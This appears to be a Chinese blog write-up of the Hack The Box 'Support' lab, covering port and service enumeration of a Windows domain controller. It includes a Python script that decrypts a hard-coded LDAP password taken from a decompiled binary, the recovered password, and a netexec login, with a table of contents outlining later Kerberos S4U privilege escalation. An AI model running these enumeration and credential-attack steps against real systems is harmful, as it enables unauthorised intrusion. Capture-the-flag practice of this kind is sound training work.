HTB:Support[WriteUP]

目录

连接至HTB服务器并启动靶机

信息收集

使用rustscan对靶机TCP端口进行开放扫描

将靶机TCP开放端口号提取并保存

使用nmap对靶机TCP开放端口进行脚本、服务扫描

使用nmap对靶机TCP开放端口进行漏洞、系统扫描

使用nmap对靶机常用UDP端口进行开放扫描

使用ldapsearch枚举靶机LDAP服务器根节点信息

使用smbmap通过匿名账户枚举靶机SMB服务共享

使用smbmap枚举support-tools共享内的文件

边界突破

使用Exeinfope查看UserInfo.exe文件编译

使用ILSpy反编译该EXE文件

使用netexec通过该密码与靶机LDAP账户匹配

在Windows环境下执行调试该EXE文件

尝试使用该EXE文件查询用户信息

使用kerbrute通过上述名单枚举靶机域内账户

使用ldapsearch对靶机LDAP服务器信息进行枚举

使用windapsearch对靶机域内用户进行枚举

使用netexec通过上述名单和密码对靶机SMB服务进行密码喷洒

使用evil-winrm通过上述凭证登录靶机Win-RM服务

权限提升

将SharpHound上传至靶机

执行该程序收集靶机域内信息

使用BloodHound对收集数据进行分析

从攻击机中上传并加载PowerView.ps1脚本

将Powermad上传至靶机

在域内新增一个计算机账户

将rubeus上传至靶机

使用rubeus通过S4U攻击模拟管理员身份伪造ST票据

使用impacket-ticketConverter转换该票据

使用impacket-psexec通过administrator票据登录靶机


连接至HTB服务器并启动靶机

分配IP:10.10.16.21

靶机IP:10.10.11.174

靶机Domain:support.htb


信息收集

使用rustscan对靶机TCP端口进行开放扫描

rustscan -a 10.10.11.174 -r 1-65535 --ulimit 5000 | tee res

将靶机TCP开放端口号提取并保存
ports=$(grep ^[0-9] res | cut -d/ -f1 | paste -sd,)

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# grep ^[0-9] res | cut -d/ -f1 | paste -sd,                                                  
53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49664,49667,49676,49678,49701,49739
                                                                                                                                     
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# ports=$(grep ^[0-9] res | cut -d/ -f1 | paste -sd,)
                                                                                                                                     
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# echo $ports
53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49664,49667,49676,49678,49701,49739

使用nmap对靶机TCP开放端口进行脚本、服务扫描

nmap -sT -p$ports -sCV -Pn 10.10.11.174

  • 需要重点关注的端口和服务

53端口:Domain服务

88端口:Kerberos服务

389端口:LDAP服务

445端口:SMB服务

5985端口:Win-RM服务

使用nmap对靶机TCP开放端口进行漏洞、系统扫描
nmap -sT -p$ports --script=vuln -O -Pn 10.10.11.174

使用nmap对靶机常用UDP端口进行开放扫描
nmap -sU --top-ports 20 -Pn 10.10.11.174

使用ldapsearch枚举靶机LDAP服务器根节点信息

ldapsearch -H ldap://10.10.11.174 -x -s base namingcontexts

使用smbmap通过匿名账户枚举靶机SMB服务共享

smbmap -u guest -H 10.10.11.174

使用smbmap枚举support-tools共享内的文件
smbmap -u guest -H 10.10.11.174 -r support-tools

  • UserInfo.exe.zip文件下载到攻击机本地
smbmap -u guest -H 10.10.11.174 -r support-tools -A UserInfo.exe.zip -download

  • 使用unzip将该压缩包解压
unzip 10.10.11.174-support-tools_UserInfo.exe.zip -d UserInfo


边界突破

使用Exeinfope查看UserInfo.exe文件编译

  • 由工具输出可知,该EXE可执行文件为.NET框架环境编译执行且未加壳
使用ILSpy反编译该EXE文件

  • 由此可得密钥和加密函数,直接扔给大模型修改为Python代码以便编译执行

import base64

class Protected:
    _enc_password = "0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E"
    _key = b"armando"

    @staticmethod
    def get_password():
        # 解码 Base64 字符串
        encrypted_data = base64.b64decode(Protected._enc_password)
        decrypted_data = bytearray(encrypted_data)

        # 解密过程
        for i in range(len(decrypted_data)):
            decrypted_data[i] ^= Protected._key[i % len(Protected._key)] ^ 0xDF

        # 返回解密后的字符串
        return decrypted_data.decode('utf-8')

# 测试
if __name__ == "__main__":
    password = Protected.get_password()
    print("Decrypted Password:", password)
  • 直接编译运行获得密码

nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz

使用netexec通过该密码与靶机LDAP账户匹配

netexec smb 10.10.11.174 -u ldap -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz'<
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

x0da6h

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值